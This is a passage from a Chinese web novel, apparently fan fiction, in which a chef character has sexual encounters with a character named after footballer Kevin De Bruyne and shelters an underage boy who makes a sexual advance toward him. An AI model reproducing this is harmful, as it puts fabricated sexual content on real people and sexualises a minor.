god,你还想着出名呢,你今晚差点就羊入虎口了你知道吗?如果你被当众教训留下影像,再被一群老变态带回家虐待,你永远都别想拥有自由,还出名,死了都不一定有真实的姓名。” “我…我只是想通过这种方式找到我叔叔,就算找不到,也可以赚点钱!只是…唉…你的手表,我本来想着今晚赢了以后把它赎回来还你的,虽然不是特别贵,也值点钱,至少值1000块的报名费。” 要不是在驾驶,克里奇利真想给他一脚,气的他都快找不到回家的路了。 憋着一肚子火,他还是把这个身无分文,浑身青一块紫一块还没有衣服穿的小鬼带回了家。 他也不是非要做这个好人,只是事情太过突然,每次考验他的认知时都迫使他做出拉他一把的决定,他在想,如果他不管,这孩子可能会客死他乡,如果他管,会不会像他老爹似的自己当婊子还立牌坊,不许儿子坚持性取向,最后收不了场一走了之撒手不管了。 他把托马斯按在餐桌前的椅子上,照例倒了一杯温水给他,拿了一件干净的T恤让他穿上,然后表情严肃的审讯他,谁叫他偷了自己的手表,在了解清楚后再决定是否把他送到警局。 托马斯老实了,他如实交代了整件事情的来龙去脉。 他说:“叔叔说去年他捧红了巴西的费尔南德斯,今年希望可以捧红我。他带我来英国参加世界先生选美,名字都报上去了,钱也交了,但是现在他突然不见了,我的护照在他那里,我不知道该怎么办,我需要找到他,不然我会被遣送回国,一旦我回国,别说明星梦破碎了,我会被我那?*? 恶毒的养父母送去窑子卖身。” “你叔叔到底是什么人?” “一个白人,和你差不多大,比你老点,我不知道,他让我喊他叔叔。” “你再说老这个字试试!” “好我不说,你不喜欢,那我叫你哥。” “叫我克里奇利先生。” “好吧,克…克里奇利先生。” “怎么认识的?” “在餐厅打工认识的。” 克里奇利突然想到自己刚来伦敦时,也是被一个自称星探的男人搭讪,说带自己去好莱坞发展,他看着这个小脸精致有着南美人较深的轮廓和粗重眉毛的男孩,比当初瘦不拉几的自己好看多了。 没什么办法,他只好让他先住在这,等找到他叔叔再走。 但是让克里奇利睡不着觉的是,他说和刚才的酒吧经理签了协议,不服从安排要赔当晚竞价的十倍,他当晚荣膺桂冠,身价是4万。 克里奇利说,“他们敢要,我们就敢告他侵/犯未成年人权益。” 托马斯又跪下来哀求他,说不要,他不想被遣送回国。 这真的是一个超级无比巨大的trouble,克里奇利丢的可不仅仅是一块手表这么简单,他还想换个公寓,还上车贷呢,而他的阁楼还没卖出去,现在还是一个打工人,一下子拿出40万可不是什么轻而易举的事,况且,和他非亲非故,干嘛破费。 但他睡不着翻来覆去的想,如果这件事再从头发生一遍的话,自己还是会从岔路口上选择这一边,看来也许是上天注定他要在曼彻斯特背个包袱,他想起他师父曾说过,救人一命胜造七级浮屠,他不知道这样自己死后会不会上天堂,这个做白日梦的孩子长大以后会不会记得他的好,逢年过节给他烧点“帅哥”过去。 正想着,托马斯就悄悄爬上了他的床,冰凉的身子贴在他的后背上,还把手放在了不该放的地方,他一个激灵就翻起来,气急败坏的大吼:“托马斯,离我远点,我对未成年不感兴趣!” “还有,我可没说要帮你还钱,你自己捅的篓子自己想办法弥补,明天就去打工赚钱,别指望别人养你!我可不是你那富豪叔叔!” 被凶了的小孩咬着嘴唇默默回到沙发上,他知道克里奇利是个好人,但是不知道他为什么救自己,所有靠近他的人无非就是两种,一种是想睡他,另一种是想揍他,他想不出还有什么其他人,对他没有想法还对他好的,这难道不需要报答吗? 克里奇利还要上班,他再次把他一个人留在家里,告诉他再出去惹事就永远别回来了,等他下班带他去楼下的烘焙店应聘店员。 一堆事,比如他出逃时所有的东西包括那张□□都在鸟鸣酒吧里,过期的护照在他叔叔那里,如果要找工作必须提供这两样证明,所以他只能暂时先留宿在克里奇利家里,什么都干不了。 这天,曼城要去都灵打客场,克里奇利跟车出差2-3天,再三叮嘱他不要出去惹事,还给他留了一些零花钱。 这场比赛是欧冠排位赛,对阵尤文图斯,曼城客场最近逆风开局成了家常便饭,输了不说,赛后德布劳内跟队医交流,迟迟没上车。 听格拉利什说,德布劳内腹股沟拉伤,坐私家车先回曼城了,不参加明天的新闻发布会和赛后活动了。 克里奇利想刚来的时候,他就没参加合训,看来是踢之前就伤了,怪不得他在场上频频出现小失误,还给人一种收着踢的感觉。 腹股沟拉伤虽然不是什么大伤,但也是让足球运动员感到头疼的常见伤,克里奇利问格拉利什,他不要紧吧,格拉利什笑他,怎么,要攻略我们家大猫了?他才不会理你呢,他要是想理你,早把你雇回家做饭做到你怀疑人生。” “哦?他倒是真的想这么做。” “那你可有的受了,这几场你没看见啊,我要是不退到中场去,但凡你吐他一个饼来试试,哈兰德都被他扭着耳朵恨不得生吃了。刚才我问他你不要紧吧,他说我传你的球劲儿小了吗?幸亏鲁本拉着我走,不然我就得被他逼着反复回忆那一个丢球。” “没事,杰克,你已经表现的很好了。”克里奇利扯了扯他的大衣领子,叫他先上车,鲁本在后面阴阳怪气的说了一句,“大厨,我饿了,别拿小狗饭糊弄我!” 克里奇利笑着上了车,他说格拉利什是小狗,自己又何尝不是狗狗呢,只是他是一只警惕性略强,嫉妒心略重的边牧罢了。 回城的时候,克里奇利接到德布劳内的电话。 他说:“克里奇利先生,我听说你按小时收费,我付双倍,今晚能过来一下吗?” “做饭还是?” “当然是做饭了,不然呢?” “我以为你要找人聊天。” “你还有这服务呢?” “嗯,聊天不收费,我还有其他功能,也不收费,你不要老是拿钱砸我行吗?” “没办法,我钱多花不出去,所以来吗?” “唉,谁叫你是大名鼎鼎的德布劳内先生呢,而且还是金发碧眼的白人男性,要命了! 第26章 克里奇利不想做圣人…… 克里奇利不想做圣人,他也不是什么圣人,他自诩为绝情的混蛋,想做就做,毫无良知和自责,这是他混圈的人设,一个白天衣冠楚楚晚上放飞自我的禽兽。 他一直没对德布劳内下手,不是因为他看不透,而是因为他确实有点敬畏他,而且他看得出来,德布劳内不太喜欢他,可能自己被他看出来是上述人设已经被他划为不着调那一类的。 现在突然让他登门拜访,是对他改观了还是单纯想要餐饮服务,他还有点拿不准。 德布劳内比赛输了以后,腹股沟又拉伤了,回家就想吃一份爽口的罗勒意面,结果他的厨师做出来的都不是内味儿,他一怒之下给厨师放了“大假”。 理疗师给他按摩他也烦,疼,无聊,位置尴尬。 他把家里所有的工人都遣散了,一个人躺在家里两米多长一米多宽的大沙发上,腿搭在实木茶几上,拿着手机给克里奇利发消息。 [回来别跟车了,坐飞机,再饿几个小时我就又低血糖了。] [凯文,到机场也要2个小时。] [谁让你叫我凯文的?] [我还没被你雇佣吧?要叫Sir吗?] [从你答应的那一刻,就是我的雇佣工了,周薪2万,叫Sir你不亏吧。] [我快到机场了,Sir.] 克里奇利是真的没骨气,2万被人包了,周薪啊,很多人一年都赚不到这个数。 但是让他真正动心的可不仅仅是英镑,是一直冷漠苛刻的比利时人难得向他发出了需要的声音。 回去以后,他第一时间打车去了德布劳内家。本来他应该晚上到,现在提前了半天,这提前的几个小时就消耗了某人一年的意面钱。 他钱多人傻,就好这一口,克里奇利才不管,能让他叫一声Sir的目前为止还没有,也是让他感受到他捡的小鹿为什么这么痴迷有钱叔叔了。 他打算先去伺候传闻中的大猫再回去看那只不听话的小鹿。 谁知刚进德布劳内的豪宅就接到小鹿打来的电话。 托马斯:“你什么时候回来?” 克里奇利:“怎么了?给你脖子上挂的大饼吃完了?” 托马斯:“不是,就是想你了。” 克里奇利:“……” 他刚要怼他我只是收留你并不想和你发展什么关系时,就撞进了一双水蓝色的眼睛里。 “业务这么忙?”德布劳内穿着一件宽大的白色T恤,灰色的长裤,慵懒的开门把他迎进来,他身上的寒气让德布劳内打了好几个喷嚏。 “对我过敏?”克里奇利开他玩笑。 “我一天没出门,外面很冷吗?” “冷。”克里奇利伸出一只手,想和他握个手,谁知他不识趣的打了他手一下,然后指了指他家的开放式厨房,“那天的意面再做一份吧。” 直白的指令,冷酷的表情,就好像约的上门来维修空调的,给钱干活少废话。 好吧,克里奇利心想,先征服你的胃,看你怎么装酷。 克里奇利脱了大衣,也脱了卫衣,只穿一件跨栏背心然后系上他的围裙。 德布劳内没想到他脱的怪利索,眨巴眨巴眼睛看着他在自己眼前走过去,健硕的手臂如刀削一般利落,腰间没有一点赘肉,肤色有晒过的痕迹,但是冬天穿的多捂的发红,他自己就是这样,一晒就红,运动也红,动不动就红。 他的到来让他家的温度立刻升高,热的德布劳内也想把T恤脱了,但他没穿背心索性放弃,他倒了两杯冰水,递给克里奇利一杯。 克里奇利接过来,喝了一口,皱了皱眉,说:“冷死了。” “冷你还脱?” “习惯了,我还没进屋就脱光呢。”他开始热锅起油,没用一刻钟就做好了一份罗勒鸡肉意面,他家没有松子,少了一点松香,他放了自带的神秘香料,刚要放进去,就被偷瞄他的德布劳内抓住了胳膊。 “放的什么?” “调料啊。” “真的是调料?不是什么上瘾的东西?” “哎哟,我天,德布劳内先生,这是我自制的五香粉,你闻闻。” 德布劳内凑过去闻了闻,“阿嚏!”他又被五香粉弄的打了两个喷嚏。 克里奇利把他推出去,告诉他:“你放心,我不会乱加东西的,我的食物比我安全多了。” 德布劳内坐在开放式厨房的条形餐桌旁,拄着下巴看着他把意面盛在盘子里,又用水果刀切了一个黄瓜花,好像在雕刻一个艺术品,专业用心的模样有点迷人。他突然觉得不是他的食物令人上瘾,而是他对待食物的态度和他做饭时的样子。 最后呈现在他面前的是一份色泽鲜亮,散发着浓郁的罗勒和黄瓜清香的意面,就像冬天的圣诞树,给寒冷的雪白增添一抹新绿。 他确实饿了,也不顾什么形象的,拿起叉子也不卷就直接往嘴里送,“嗯~”这是好吃的声音,克里奇利听了比他吃了还满足,他不看他吃,开始收拾他的厨房,像个主人一样熟练的归拢厨具和剩下的食材。 德布劳内看着他收拾,冷不防的又拿话揶揄他。 “怎么之前不答应,现在答应了呢,缺钱了?” 克里奇利转也没转身,手上动作没停,说了句,“谁跟钱有仇啊,不过,我这也不算溢价坑你,除了满足你的胃,也给你提供情绪价值,你说是不是?” “不过是一碗意面而已,提供什么情绪价值?” “稀缺性,满足你的预期和奇怪的癖好,难道不是情绪价值?” “你知道我什么预期,什么癖好?” “还没有我看错的人,德布劳内先生。” 克里奇利停下手中的动作,回头给了他一个勾人专用的眼神。 “叫我什么?”他脸色一沉。 “Sorry Sir.” 克里奇利觉得他气场过于强大,正把他的top体质一点一点的往下压。 他擦了擦手,走过去看着他把这一份意面吃完,接着从他的酒架上拿下来一瓶红酒,看了看他,他也没说什么,克里奇利就打开倒了两杯。 德布劳内也没拒绝,接过来,两人碰了一下杯,德布劳内抿了一口,而他一口干了,然后咂咂嘴,两眼放光,忍不住夸了一句,“我草,这什么酒,口感这么好。” “好酒可以满足你的情绪价值吗?克里奇利先生,你喝的是我的珍藏,3万一瓶的帕图斯。” “……!” 克里奇利点点头,认栽,他说,“你不早说,从我工资里扣吧。 德布劳内笑笑,说:“你要是这样的话,给我打一个月工,还得倒找我钱。” “哈哈哈……” 克里奇利才不管,他叫他来的,平时他就这样随意,就像他那放肆的贴面礼一样,还管你珍藏不珍藏,再说刚才拿的时候他就默许了,喝了就漫天开价,真是老油条。 他自以为是的认为老油条无非是想拿钱砸他然后把他归为贪财好色的那一类人,好认证自己之前对他的看法是正确的。但现在着实手头有点紧,导致他对接下来的幻想都不自信了。 他本来打算满足了他的胃,再攻略他的城的。现在搞得好像跟卖完了艺又要卖身一样。 想了不过两秒,克里奇利就回归了本性,他早就知道这个故作高深的金发男人,实际上有个前男友,而那个前男友还恰好被他给阅过了。 他就是在马德里随便打了个野,而他是什么眼光,还能被那个老色批控了那么久,丢了名誉不说,大好的青春都葬送了,现在就知道挥霍,而且还霸道,在他这个大总攻面前硬要拿捏一把。 不仅有花钱瘾还有喜欢让人臣服的叫Sir的癖好,从外面还真看不出来。 管他那么多,金发男人就是傻白甜,花钱引狼入室,他要是不身体力行都不好意思拿他的钱。 克里奇利又喝了一杯价值3万的红酒,围裙一脱,绕到他身后,抬手就摸了他的脖子,托起他的下巴,俯身在他耳边释放自己的危险气息,“Sir,可以开始了吗?” 德布劳内被他这么一撩,心脏突突的跳,太久没有这么放肆的人敢这么张扬的试探他,而且这还不是试探,是笃定了他也是那类人,有着特殊癖好的那类人。 在克里奇利面前,一切伪装都将被一眼看穿,无论是深柜,泛性恋,gay,双性恋,猎奇者还有抖S抖M,通通在他出手时暴露的一清二楚。 因为在他面前想隐藏很难,他一般都主动放下身段,先用食物引诱,再温柔的露出象征着的地位和身份的犬齿,只为一点一点的征服猎物,让他们逐渐放松警惕自愿的打开自己。 可今晚还没分清到底谁才是盘中餐呢,德布劳内在他托住自己下巴的时候,一把抓住了他的头发,主动的撞上去,一个上抢动作,大腿卡进克里奇利的双腿之间,逼的他不得不节节败退,最终后背抵在他的书架上,书架上的书被他们撞的哗啦一声散落下来,克里奇利心想,这不会又是什么典藏吧。 克里奇利还从来没被这么凶悍的吻过,以前也不是没约过肌肉男,黑模,比他高大的也有,甚至还有干体力活的蓝领,没有人不被他充满着激情和力量的吻技征服,就连那个浑身是劲儿的朱贝林都被他循循善诱的一步步占有,他就像一个领航者,一个指挥家,在一场声势浩大的x事里主宰着所有走向,不容有失。 但现在,他被一个只管进攻不会让步的进攻中场给顶在书架上,一点余地都没有,他稍微动一下都感觉要随时没命。 他突然想到德布劳内在场上的那种压迫感,只要球在他脚下,就不会没有路线,而他出其不意的打门,往往极其刁钻又势大力沉的洞穿对手的大门,让对方来不及反应,甚至气急败坏的互相埋怨,怎么能这么大意。 现在,克里奇利只有一个预感,就是今晚要栽了。 第27章 他只好把手搭在德布…… 他只好把手搭在德布劳内的腰上,来回摩挲几下,试图缓解他急不可耐的心情。 刚摸上一会,就被德布劳内一把抓住手腕,交叠举到他的头顶,凶悍掠夺的吻不见得有半分退让。 他是有多久没这么释放过了,一副要吃人的架势,搞得克里奇利都不会了,主要是被他的大腿死死卡住,力道恰好是一个男人所能承受的极限阈值,让他骑虎难下一时脱不开身,其实他也不想脱身,虽然被他吻的疾风骤雨的,还挺有成就感的。 毕竟这位高贵矜持的Sir以前都没拿正眼瞧过他。 越是禁欲冷脸越是自由奔放,很多人不了解他,总是觉得他在场上应该扮演什么角色,应该传出什么样的球来,事实上他很有主见,想象力也足够丰富,就像演而优则导,他已经懂得怎么运筹帷幄才能掌握更多主动权,毕竟他年纪在这摆着。 所以他偶尔踢出出其不意的路线时,被大家调侃这不是德布劳内的脚法,殊不知这是他发泄情绪和大胆尝试的举动,你需要适应他,而不是让他适应你。 克里奇利正想着怎么反客为主,德布劳内就把T恤脱了,拧成一股绳套在了克里奇利的脖子上。 大老虎吃饱了有力气,现在连厨子也要吃了。 他不由分说的扳过他的肩膀,勒住他的脖子,顶着他的后背一步一步把他“请”进了卧室。 克里奇利虽然被动但一点没害怕,让他叫Sir他就知道这人喜欢什么口,而且移步到卧室就好像到了他的主场,尽管被勒住命运的咽喉,也比被钉在书架上要好。 “你搞错了,凯文。” “嗯?”在没被允许的情况下,他又叫了一声凯文,显然触怒了这位摆开阵仗准备强攻的先生,他单手攥紧了T恤用力向后拉扯了一下。 “唔…”克里奇利仰起了头,发出一声难受的喉音,“我说Sir,你就不能让我继续为你服务吗?我是专业的。”他声线都被他勒的变了音。 “你当然可以为我服务,就是乖一点,别让我费劲。” “唉…”克里奇利摇摇头,看来他不是那么好说话,根本不听自己那一套。 那他对自己来硬的,就只好以暴制暴了,克里奇利向后一撅屁股,捞过他腋下就来了一个过肩摔,他看着宽大,实际是穿的宽松,脱了就是溜薄的身量和骨架,肌肉也不是很硬,他的核心力量主要在大腿上,失去重心之后也是难防抱摔。 克里奇利没给他喘气的时间,大腿一迈就跨坐在他身上,抓住他要揍人的手腕,压在他胸前,以胜者的姿态俯视着他,眉头一皱眼神闪过几分狠戾。 谁知德布劳内也不是吃素的,他脱衣服可不仅仅是要用衣服当道具,他脱衣服就是要告诉你热身完毕我要上了,就问你害不害怕。 对手看见他热身就慌,克里奇利可不知道,他看球晚,这几场他看到的德布劳内是挺霸气挺神勇的,那也不能逆反了肤白貌美大长腿的金发男在他眼里是受的刻板印象。 而且他白到发光,像镀了一层金的白奶酪,还散发着淡淡的木制琥珀的香水尾调味儿,视觉和嗅觉的冲击让克里奇利像吃了drug一样感到阵阵眩晕。 克里奇利今天有点累,刚才忙着给他做饭,自己没吃上一口,还喝了他珍藏多年的酒,这会又和他动用蛮力,确实有点不在状态,很快就又被他给掀翻在身侧。 “好好好,我怕了你还不行,搞得我都出汗了,先洗个澡吧?” 他提出缓兵之计。 德布劳内也出了一身汗,他踢个半场还没这么累呢,和他掰扯这几分钟就跟撸铁撸了半小时一样。 他同意先洗澡,夜还很长呢。 洗完澡以后,他突然温柔多了。 克里奇利躺在床上,脑袋在枕头上压了压,身子也在他的床上翻了翻,觉得零压床垫和枕头真是太舒服了,舒服到想搬回家,他说:“你的床真带劲,我都不想走了。” “那你今晚住这儿吧。”德布劳内趴在他身侧,抬手撩了撩他的眼睫毛,温柔的看着他,刚洗完澡的大猫看上去不那么凶了,跟刚才要吃人的大老虎判若两人。 克里奇利觉得是时候有所表现了,他再次抬手勾住了他的脖子,拉到脸前蹭了蹭他的嘴唇,张开嘴含住了他潮湿柔软的唇瓣,柑橘薄荷味的清香像一种信息素,引起他猎取的本性,攻略男人是他的天性,再强悍的男人也有脆弱的一面,他用尽温柔去取悦他的唇舌,试图融化他防备的铠甲。 不知道是出于什么原因,克里奇利总想多了解一些,他以前对待任何一个和他对上号的人都是一面之缘,约了以后不再有任何瓜葛,就算认识也不会使氛围变得奇怪,因为他把sex和love分的很清,除了n多年前他认识了一个神父,神父说可以帮他赎罪,给了他love and sex,他认为这是love,然而却看到神父一家三口其乐融融走在大街上装作不认识他时,他就再也不相信love了,也不让任何人做他的top。 但这次他反而想要知道,德布劳内在同性关系中是一个怎样的存在,是放不下旧情,还是一时兴起,亦或是对他感兴趣,他想知道。 他的吻骤然浓烈了几分,不仅仅是索取和逢迎,还带着些许迷惑人心的情感倾泻,吻过之后,他突然精神的问道:“Sir,你喜欢strike吗?(保龄球全中)” “我很少打保龄球。” “那种感觉,怎么说,就是击碎一切,打破你面前所有的屏障,一个不留,全部击倒,刷,砰,哗啦,过瘾!” “你想打保龄球?” “我想让你忘掉过去,放心的交给我,哪怕只有一次。” “我信任你,但我不。”他摇摇头,坚持自己的想法,“我的过去足以让我倒下,但我没有,因为我不征服它们,就要被它们征服,显然,我不乐意,所以你可以为我服务了吗?” “……” “我们伦敦有句话叫上门的都是客,你就这么对待客人的?” “那是你们伦敦,这是哪?宝贝儿?”说完他就低头温柔的亲了亲克里奇利的脸,又抬手拍了拍他的肩膀,比了一个转过去的手势。 克里奇利皱着眉看看他,倒不是害怕他,相比之前的暴力卡位和极限拉扯,现在他的眼睛里流露出一种深切的难以名状的欲/望,竟然让他像被下了药似的鬼使神差的转了过去,还心甘情愿的让他在上面。 完了以后,他怎么也想不明白,自己的底线呢?尊严呢?零封呢?玛德,什么都没了,被德布劳内一锅端了。 “Fuck!”他暗骂了一句,挣扎着爬起来,看着血色的面容稍微恢复常态的金发男人,突然悲从中来,他说:“我就让你这一次,德布劳内,再让我来这儿,你可得小心点。” 他开始穿裤子,但是明显的腿抬不起来,穿了半天也没蹬进去一条腿,德布劳内把他的裤子扯过来,问他,“确定不留宿?” “抬头不见低头见,你最好别惹我。” “哈哈哈…” 德布劳内把裤子扔给他,没管他,转身去了浴室,克里奇利穿好裤子,愤愤的又喝了一杯桌上的红酒,脚步深一脚浅一脚的离开德布劳内的豪宅。 回到家以后,他看见那个小家伙还没睡,趴在地上在看什么东西。 “回来了?”托马斯瞥了他一眼。 “看什么呢?”他走过去一看,原来是在看自己的相册。 “你好自恋哦,还洗照片,原来你不是孤寡老人,你还有朋友哪,什么时候带我去见见?” “见个屁!”克里奇利一把夺过来,啪的一声合上,然后塞到橱柜里。“你知不知道这是个人隐私。” “哈哈,隐私什么?洗出来不是叫人看的吗?再说什么都没露,不好看。” “滚去睡觉!” “怎么了嘛?几天没回来,一回来就这么大气,谁惹你了?” 托马斯贴上去,殷勤的给他捏肩膀。 克里奇利虽然一肚子火,也不好冲他发脾气,摆摆手说“我困了。” 接着脱了衣服上床睡觉了。这一宿他翻来覆去睡不着,脑海里一直浮现那个金发男人看似没用任何手段实际步步为营的轻松凌驾他的一幕幕。 其实,他从让自己叫他Sir的时候就在灌输一种不可以反抗他的意识,先是用了些力气控制,再放缓了节奏让他松弛下来,最后用一个哄骗的亲吻和手势占据了有力位置,这一切就像被洗脑了一样,但那些耳边的喘息,温柔的抚摸和一遍又一遍问他疼不疼的关切,让他莫名感到一种被怜爱被重视的感觉。 但这,不是自己一贯的品格吗? 他和德布劳内还没完,第二天他收到了德布劳内发的短信,问他:“怎么样,这周薪赚还是不赚?” 他出了一身冷汗,想想自己也是造了孽,就当还情债了,让德布劳内捡了大便宜,也不便宜,他还很贵呢,不贵的德布劳内也看不上眼啊。 第28章 他把手机一扔,沉默…… 他把手机一扔,沉默了。 满脑子都是昨晚被老虎按在爪子底下吃抹干净的画面,自己还把他家的床单弄脏了。 “oh my goodness…fffff…”他把头藏在枕头底下,在床上扭成一条蠕虫。 他祈祷伦敦小分队千万别给他打电话,就当他不存在,以后都别联系,他没脸回伦敦了。 这时,一缕蒜香黄油味混着奶油咖啡的香气飘到了他的鼻尖下,他支起身子看向厨房的方向,惊现小鹿在厨房乱撞的身影。 我天,他别把厨房点了。 克里奇利一个激灵翻下床来,一边穿上长睡衣一边向厨房走去。 他走进厨房先把火关了,又看了一眼冒着烟的平底锅,再把厨师刀从托马斯的手里夺过来,凶巴巴的对他说,“你想在我睡觉的时候暗杀我吗?” 话还没说完,一个咖啡杯就怼到了他的唇边,咖啡上的奶油泡蹭到了他的嘴角,他舔了舔,“嗯,咖啡的味道还不错。” 托马斯开心的笑了笑,露出一排整齐的小白牙,还有两个尖尖的犬齿,让克里奇利觉得他不是温顺的小鹿而是调皮捣蛋的小狗。 托马斯咬了两口面包,忍着烫口啜了一小口咖啡,就穿上衣服准备出门。 “你去哪儿?” “去找工作呀,我想把手表赎回来给你。” 他不惹事就是对他最大的报答了,克里奇里眨了眨他那清晨带着墨绿色光辉的眼睛,有些欣慰的点了点头,走过去拍了拍他的肩膀,说:“你去找什么工作?” “你留下的零花钱我没花,我打算去市场进点三明治拿到学校门口去摆小摊。” “呵…这么冷的天,你觉得学生们会买你那冰冻的三无产品吗?连你自己都是三无产品,无地址,无身份证,无护照还有一个假名字。” “哼,少瞧不起我,凭我这张脸,分分钟卖光。” 克里奇利摇了摇头,这孩子走到哪也忘不了自己有个盛世美颜,总想着靠它来吃饭。 “不要去鸟鸣,手表也不用赎。”他在他身后喊道,但那头小鹿就好像几天没出门一样很快就从他眼前跳进了曼彻斯特的迷雾里。 他走了以后,克利奇利也要去上班了。他突然想起来,还没给德布劳内回信息,怎么回啊,他第一次感到局促。 还是不能把自己变成一个矛盾体,他本来也不轻易把自己陷进一段感情的漩涡里,昨天只是一时大意,被狡猾的比人钻了空子而已,一点不耽误自己是妥妥的大猛1,今晚就去酒吧大杀四方去。 他拿起手机,打上了一行字,看也没看就点了发送。 过了一会,德布劳内回复了一个ok的表情。 他是这么说的:周薪诱人也不及你半分,Sir,等我客场出差回来,天天喂饱你,保证你的腹股沟跟铁打的一样再也没人能伤害你。” 他满意的揣好手机,吃了几口小孩做的香蒜黄油煎法棍,苦了吧唧但也透着点甜。想起自己小时候差点把厨房炸了,做出来一盘黑不溜秋的炸薯条,还自我安慰着爸妈一定会夸奖他知道做饭能养活自己了。结果他爸骂了他一句废物,啥也不是。他妈漠然的把薯条倒掉说跟你爸一个熊德行,只会制造麻烦。 他看着煎烤出黑边的面包干,嘴角蔓延起一丝苦涩,为什么不肯夸孩子一句做的很好,下次别做了之类的,专捡什么狠说什么呢。 自从在大街上捡回这只受伤的小鹿以来,他就背上了一种叫责任的东西,他在脑子里拼这个responsibility,拼了几遍念了几遍接着笑出声,很好,从伦敦来到曼彻斯特就是不一样,不仅学会了怎么拼写长单词还无端端生出了爹味儿。 所以他想到了鸟鸣还有一屁股事儿没解决,之前就有陌生号码打电话叫他去一趟,如果他不去,等托马斯去了可能就是另外的结果了。 这天下午下班,他雇了一个律师一个保镖和他一起去了“鸟鸣。” 实际上,谈判双方都有各自的弱点,鸟鸣负责人害怕他们告他侵害未成年人权益,而克里奇利又不敢报警让托马斯陷入无照拘留和遣送的困境。 一场黑白大戏即将上演。 鸟鸣的负责人抽着雪茄坐在类似一个地下室一样的阴暗潮湿的办公室里,旁边堆着一些骇人的男侗用品,身边还站两个舞男保镖,目光阴森的看着前来会面的“大家长”。 这样的谈判环境可能会吓哭一个未经世事的小男孩,对克里奇利来说,伦敦暗室的vip房间里的豪华装修比这要刺激的多。他淡定的解开自己的西装扣子,拖过一把椅子坐下来,等着对方先开口。 鸟鸣负责人是一个20来岁的富二代,搞砸了他爸的娱乐节目现在想展现一下自己成熟的谈判技巧,为俱乐部挽回颜面和损失,在克里奇利眼里,他就是一个搞不清楚主客位的小辣鸡。 他开门见山的说:“这个诈骗犯搅和了我的选美节目,让我损失了一大笔钱和客户,这是他的协议和当晚的影像资料还有他的□□破衣服手机,如果不赔我40万,我就只好把他送进jail里去。” 克里奇利淡定的说:“你这么做只会让我和你打一个持久的官司。” “你凭什么管他,我从他的手机里找到了他叔叔的电话,他叔叔都不管他,不交钱不拿东西甚至还把护照给了我们,已经逾期的护照会不会让他多拘留几天呢?要知道在那种地方比在我这‘工作’要辛苦的多,在我这他可以慢慢还清我的债,而在那里他连肥皂都不敢捡。” “你到底希望我管他还是不管他?”克里奇利听了有些生气,他叔叔到底是个什么样的人,怎么还能把护照随便给人,就是扔了也别给资本家啊,让他用来威胁托马斯给他“打工”吗?真是个好叔叔,怎么说呢,还给托马斯找了个接盘的下家,不过好消息是护照有了着落。 “你在他手机里的备注是一个好人,我希望你把他的欠款交了,然后把这些东西拿走,以后不要出现在我这里,当然,选美的话你可以来毕竟你成年了。” 这个负责人说着就坐在了办公桌上,凌空的单腿来回荡悠着,并递给克里奇利一根雪茄。 克里奇利笑笑没接,他说你们俩出去等我一会。 本来克里奇利想带着律师来搜集酒吧逼迫未成年人表演的证据,再想办法拿回属于托马斯的东西以及托马斯心心念念的要还他的手表,现在护照又落在这个人的手里,让他少了几分把握,但是这个20出头的小boss一个上桌的举动就暴露了他是个铁受,克里奇利不会看走眼,从自己一进门这个小男人目光就没从他的胸膛移开过。 果然,他也支走了身边的两个保镖。 保镖看了看克里奇利,目光充满了警告,克里奇利还浪荡的伸手摸了摸保镖带着纹身的花臂,目送他们出去,然后把房间落了锁,随手关上了百叶窗。 铁链的响声,桌椅的晃动声,和着这个刚才还咄咄逼人的小伙的求饶声,在一场触发荷尔蒙的“打斗”中很快就明确了主客地位。 为了表示“诚意”,克里奇利还是给他开了一张支票,让他回去“交作业”,随后拿走了托马斯所有的东西,并且重新签了一份两清的字据。 走的时候,小伙捡起刚才激烈晃动时打翻在地上的名片,两根手指夹着放在唇边亲了一口然后缓缓塞进克里奇利的口袋里,说了句:“我希望咱俩还没两清,打给我。” 克里奇利笑笑说anytime. 与此同时,德布劳内在家发现了克里奇利落下的调料瓶子,而他正好要去俱乐部做康复训练,顺路给他送去。 他给克里奇利打电话,克里奇利正“忙”着没接,他就把车停在了他家对面的花坛附近,跟格拉利什停的位置一样,运气好的话半个小时内不拍照。 他按下了他家的单元门号码,咔哒一声开了门,这是在家呢,还不敢接我电话,德布劳内心想。 等他敲门时打开门的是一个漂亮的男孩子,黑发黑瞳,下身围着一个浴巾,看样子刚洗完澡,男孩开门一脸错愕,问他是谁,找谁。 他也梗了一下,说:“我找克里奇利先生,这是他家吗?”感到困惑的同时,心里还涌动着某种情绪。 克里奇利住进来的时候说过要在公寓里办party请大家来帮他温锅,因为他怕鬼。当时不知道谁还调侃了一句,你住12A又不是13,不知道怎么回事,就入了德布劳内的耳朵了。 “他不在。你是谁,可以给他留个口信。”托马斯眼神有些轻蔑的上下扫了德布劳内一眼。 “噢,不用了,我给他打电话吧,我是…他同事。”德布劳内冷脸冷言,不想多说一句话,转身就走。 “同事?”托马斯不是傻瓜,他看的出这个金发碧眼的男人不是一般人,他气质高贵,谈吐不凡,目光冷清锐利,在看到自己半裸时那双幽蓝的眼睛闪现着阵阵寒光,错愕中带着一点敌意。 “等等。”托马斯身子倚在门框上,手搭在浴巾的边缘,摆出一副不可一世的姿态,对德布劳内说:“我会告诉他有个年纪大的有点小帅的金发男人来找他,并且不敢告诉我名字,什么都不说就走了。” 德布劳内站定了一下,回头看了一眼这个英语不太溜的小孩在组织十分不友好的英语向他挑衅。 “哦?你告诉他,凯文德布劳内亲自找他,叫他来拿落在我家的东西,顺便让他收一下养小狗的钱。” 德布劳内一点没退让,这个小崽子明摆着在向他展示地位和态度,就像一只小狗,有主人撑腰就敢咬人一样,生怕别人抢了他的饭碗。 结果,让德布劳内更加笃定的是,克里奇利突然改变主意答应给他干活赚2倍周薪是因为他确实有个吞金兽要养。 这个托马斯在他身后不依不饶的说:“养小狗那是他的本事,你想养还养不了呢,顺便说一下,他就喜欢年轻漂亮的小奶狗!哼!” 门被大力关上。 德布劳内带着闷气一脚油门开回了家。 这个时候,完美解决了后顾之忧还带着战利品归来的克里奇利,还不知道托马斯给他挖了多么大的一个坑。 他开心的哼着小曲回到家,准备告诉他“儿子”一个好消息and另一个不知道是好是坏的消息 第29章 克里奇利回到家,托…… 克里奇利回到家,托马斯立刻黏上来,殷勤的帮他脱大衣挂起来,又拉着他袖子去厨房给他端上来一份刚从保温袋里拿出来的三明治。 “又闯祸了?”克里奇利瞪他一眼,面上却淡淡的笑着。 “没有,怎么会闯祸呢,三明治全卖了,我还特意给你留了一份。”托马斯仰着他漂亮精致没有任何岁月痕迹的小脸蛋骄傲的说,接着掏出一把零钱在克里奇利眼前晃了晃,“看,今天赚了这么多。” 